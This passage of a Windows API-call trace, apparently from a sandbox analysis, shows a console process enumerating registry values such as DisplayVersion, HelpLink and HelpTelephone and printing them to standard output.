[0147.528] _fileno (_File=0x7fefd702ab0) returned 1 [0147.528] _errno () returned 0xc4bb0 [0147.529] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.529] _errno () returned 0xc4bb0 [0147.529] GetFileType (hFile=0x50) returned 0x1 [0147.529] lstrlenW (lpString="REG_SZ") returned 6 [0147.529] GetConsoleOutputCP () returned 0x1b5 [0147.529] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.529] GetConsoleOutputCP () returned 0x1b5 [0147.529] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.529] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.529] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.529] __iob_func () returned 0x7fefd702a80 [0147.529] _fileno (_File=0x7fefd702ab0) returned 1 [0147.529] _errno () returned 0xc4bb0 [0147.529] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.529] _errno () returned 0xc4bb0 [0147.529] GetFileType (hFile=0x50) returned 0x1 [0147.529] lstrlenW (lpString=" ") returned 4 [0147.529] GetConsoleOutputCP () returned 0x1b5 [0147.529] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.529] GetConsoleOutputCP () returned 0x1b5 [0147.530] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.530] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.530] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.530] __iob_func () returned 0x7fefd702a80 [0147.530] _fileno (_File=0x7fefd702ab0) returned 1 [0147.530] _errno () returned 0xc4bb0 [0147.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.530] _errno () returned 0xc4bb0 [0147.530] GetFileType (hFile=0x50) returned 0x1 [0147.530] lstrlenW (lpString="") returned 0 [0147.530] __iob_func () returned 0x7fefd702a80 [0147.530] _fileno (_File=0x7fefd702ab0) returned 1 [0147.530] _errno () returned 0xc4bb0 [0147.530] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.530] _errno () returned 0xc4bb0 [0147.530] GetFileType (hFile=0x50) returned 0x1 [0147.530] lstrlenW (lpString="\n") returned 1 [0147.530] GetConsoleOutputCP () returned 0x1b5 [0147.530] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.530] GetConsoleOutputCP () returned 0x1b5 [0147.530] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.530] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.530] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.530] GetProcessHeap () returned 0x2e0000 [0147.530] GetProcessHeap () returned 0x2e0000 [0147.530] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.530] GetProcessHeap () returned 0x2e0000 [0147.531] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.531] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.531] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.531] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x20) returned 0x0 [0147.531] GetProcessHeap () returned 0x2e0000 [0147.531] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x22) returned 0x2f5bf0 [0147.531] GetProcessHeap () returned 0x2e0000 [0147.531] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0147.531] GetProcessHeap () returned 0x2e0000 [0147.531] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x22 [0147.531] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f5bf0, pcbData=0x23f670*=0x20 | out: pdwType=0x23f5f0*=0x1, pvData="16.0.8431.2079", pcbData=0x23f670*=0x1e) returned 0x0 [0147.531] __iob_func () returned 0x7fefd702a80 [0147.531] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.531] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.531] _fileno (_File=0x7fefd702ab0) returned 1 [0147.531] _errno () returned 0xc4bb0 [0147.531] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.531] _errno () returned 0xc4bb0 [0147.531] GetFileType (hFile=0x50) returned 0x1 [0147.531] lstrlenW (lpString=" ") returned 4 [0147.531] GetConsoleOutputCP () returned 0x1b5 [0147.531] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.531] GetConsoleOutputCP () returned 0x1b5 [0147.531] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.531] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.531] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.532] lstrlenW (lpString="DisplayVersion") returned 14 [0147.532] __iob_func () returned 0x7fefd702a80 [0147.532] _fileno (_File=0x7fefd702ab0) returned 1 [0147.532] _errno () returned 0xc4bb0 [0147.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.532] _errno () returned 0xc4bb0 [0147.532] GetFileType (hFile=0x50) returned 0x1 [0147.532] lstrlenW (lpString="DisplayVersion") returned 14 [0147.532] GetConsoleOutputCP () returned 0x1b5 [0147.532] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0147.532] GetConsoleOutputCP () returned 0x1b5 [0147.532] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0147.532] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0147.532] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.532] __iob_func () returned 0x7fefd702a80 [0147.532] _fileno (_File=0x7fefd702ab0) returned 1 [0147.532] _errno () returned 0xc4bb0 [0147.532] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.532] _errno () returned 0xc4bb0 [0147.532] GetFileType (hFile=0x50) returned 0x1 [0147.532] lstrlenW (lpString=" ") returned 4 [0147.532] GetConsoleOutputCP () returned 0x1b5 [0147.533] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.533] GetConsoleOutputCP () returned 0x1b5 [0147.533] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.533] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.533] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.533] __iob_func () returned 0x7fefd702a80 [0147.533] _fileno (_File=0x7fefd702ab0) returned 1 [0147.533] _errno () returned 0xc4bb0 [0147.533] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.533] _errno () returned 0xc4bb0 [0147.533] GetFileType (hFile=0x50) returned 0x1 [0147.533] lstrlenW (lpString="REG_SZ") returned 6 [0147.533] GetConsoleOutputCP () returned 0x1b5 [0147.533] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.533] GetConsoleOutputCP () returned 0x1b5 [0147.533] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.533] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.533] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.533] __iob_func () returned 0x7fefd702a80 [0147.533] _fileno (_File=0x7fefd702ab0) returned 1 [0147.533] _errno () returned 0xc4bb0 [0147.533] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.533] _errno () returned 0xc4bb0 [0147.534] GetFileType (hFile=0x50) returned 0x1 [0147.534] lstrlenW (lpString=" ") returned 4 [0147.534] GetConsoleOutputCP () returned 0x1b5 [0147.534] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.534] GetConsoleOutputCP () returned 0x1b5 [0147.534] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.534] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.534] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.534] __iob_func () returned 0x7fefd702a80 [0147.534] _fileno (_File=0x7fefd702ab0) returned 1 [0147.534] _errno () returned 0xc4bb0 [0147.534] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.534] _errno () returned 0xc4bb0 [0147.534] GetFileType (hFile=0x50) returned 0x1 [0147.534] lstrlenW (lpString="16.0.8431.2079") returned 14 [0147.534] GetConsoleOutputCP () returned 0x1b5 [0147.534] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="16.0.8431.2079", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0147.534] GetConsoleOutputCP () returned 0x1b5 [0147.534] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="16.0.8431.2079", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16.0.8431.2079", lpUsedDefaultChar=0x0) returned 14 [0147.534] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0147.535] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.535] __iob_func () returned 0x7fefd702a80 [0147.535] _fileno (_File=0x7fefd702ab0) returned 1 [0147.535] _errno () returned 0xc4bb0 [0147.535] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.535] _errno () returned 0xc4bb0 [0147.535] GetFileType (hFile=0x50) returned 0x1 [0147.535] lstrlenW (lpString="\n") returned 1 [0147.535] GetConsoleOutputCP () returned 0x1b5 [0147.535] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.535] GetConsoleOutputCP () returned 0x1b5 [0147.535] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.535] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.535] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.535] GetProcessHeap () returned 0x2e0000 [0147.535] GetProcessHeap () returned 0x2e0000 [0147.535] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0147.535] GetProcessHeap () returned 0x2e0000 [0147.535] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x22 [0147.535] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0 | out: hHeap=0x2e0000) returned 1 [0147.535] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.535] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.535] GetProcessHeap () returned 0x2e0000 [0147.535] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.535] GetProcessHeap () returned 0x2e0000 [0147.536] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.536] GetProcessHeap () returned 0x2e0000 [0147.536] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.536] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.536] __iob_func () returned 0x7fefd702a80 [0147.536] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.536] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.536] _fileno (_File=0x7fefd702ab0) returned 1 [0147.536] _errno () returned 0xc4bb0 [0147.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.536] _errno () returned 0xc4bb0 [0147.536] GetFileType (hFile=0x50) returned 0x1 [0147.536] lstrlenW (lpString=" ") returned 4 [0147.536] GetConsoleOutputCP () returned 0x1b5 [0147.536] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.536] GetConsoleOutputCP () returned 0x1b5 [0147.536] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.536] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.536] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.536] lstrlenW (lpString="HelpLink") returned 8 [0147.536] __iob_func () returned 0x7fefd702a80 [0147.536] _fileno (_File=0x7fefd702ab0) returned 1 [0147.536] _errno () returned 0xc4bb0 [0147.536] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.536] _errno () returned 0xc4bb0 [0147.536] GetFileType (hFile=0x50) returned 0x1 [0147.537] lstrlenW (lpString="HelpLink") returned 8 [0147.537] GetConsoleOutputCP () returned 0x1b5 [0147.537] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.537] GetConsoleOutputCP () returned 0x1b5 [0147.537] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0147.537] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.537] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.537] __iob_func () returned 0x7fefd702a80 [0147.537] _fileno (_File=0x7fefd702ab0) returned 1 [0147.537] _errno () returned 0xc4bb0 [0147.537] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.537] _errno () returned 0xc4bb0 [0147.537] GetFileType (hFile=0x50) returned 0x1 [0147.537] lstrlenW (lpString=" ") returned 4 [0147.537] GetConsoleOutputCP () returned 0x1b5 [0147.537] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.537] GetConsoleOutputCP () returned 0x1b5 [0147.537] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.537] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.537] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.538] __iob_func () returned 0x7fefd702a80 [0147.538] _fileno (_File=0x7fefd702ab0) returned 1 [0147.538] _errno () returned 0xc4bb0 [0147.538] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.538] _errno () returned 0xc4bb0 [0147.538] GetFileType (hFile=0x50) returned 0x1 [0147.538] lstrlenW (lpString="REG_SZ") returned 6 [0147.538] GetConsoleOutputCP () returned 0x1b5 [0147.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.538] GetConsoleOutputCP () returned 0x1b5 [0147.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.538] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.538] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.538] __iob_func () returned 0x7fefd702a80 [0147.538] _fileno (_File=0x7fefd702ab0) returned 1 [0147.538] _errno () returned 0xc4bb0 [0147.538] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.538] _errno () returned 0xc4bb0 [0147.538] GetFileType (hFile=0x50) returned 0x1 [0147.538] lstrlenW (lpString=" ") returned 4 [0147.538] GetConsoleOutputCP () returned 0x1b5 [0147.538] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.539] GetConsoleOutputCP () returned 0x1b5 [0147.539] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.539] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.539] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.539] __iob_func () returned 0x7fefd702a80 [0147.539] _fileno (_File=0x7fefd702ab0) returned 1 [0147.539] _errno () returned 0xc4bb0 [0147.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.539] _errno () returned 0xc4bb0 [0147.539] GetFileType (hFile=0x50) returned 0x1 [0147.539] lstrlenW (lpString="") returned 0 [0147.539] __iob_func () returned 0x7fefd702a80 [0147.539] _fileno (_File=0x7fefd702ab0) returned 1 [0147.539] _errno () returned 0xc4bb0 [0147.539] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.539] _errno () returned 0xc4bb0 [0147.539] GetFileType (hFile=0x50) returned 0x1 [0147.539] lstrlenW (lpString="\n") returned 1 [0147.539] GetConsoleOutputCP () returned 0x1b5 [0147.539] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.539] GetConsoleOutputCP () returned 0x1b5 [0147.539] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.539] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.539] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.540] GetProcessHeap () returned 0x2e0000 [0147.540] GetProcessHeap () returned 0x2e0000 [0147.540] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.540] GetProcessHeap () returned 0x2e0000 [0147.540] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.540] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.540] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.540] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.540] GetProcessHeap () returned 0x2e0000 [0147.540] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.540] GetProcessHeap () returned 0x2e0000 [0147.540] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.540] GetProcessHeap () returned 0x2e0000 [0147.540] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.540] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.540] __iob_func () returned 0x7fefd702a80 [0147.540] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.540] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.540] _fileno (_File=0x7fefd702ab0) returned 1 [0147.540] _errno () returned 0xc4bb0 [0147.540] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.540] _errno () returned 0xc4bb0 [0147.540] GetFileType (hFile=0x50) returned 0x1 [0147.540] lstrlenW (lpString=" ") returned 4 [0147.540] GetConsoleOutputCP () returned 0x1b5 [0147.540] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.540] GetConsoleOutputCP () returned 0x1b5 [0147.541] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.541] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.541] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.541] lstrlenW (lpString="HelpTelephone") returned 13 [0147.541] __iob_func () returned 0x7fefd702a80 [0147.541] _fileno (_File=0x7fefd702ab0) returned 1 [0147.541] _errno () returned 0xc4bb0 [0147.541] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.541] _errno () returned 0xc4bb0 [0147.541] GetFileType (hFile=0x50) returned 0x1 [0147.541] lstrlenW (lpString="HelpTelephone") returned 13 [0147.541] 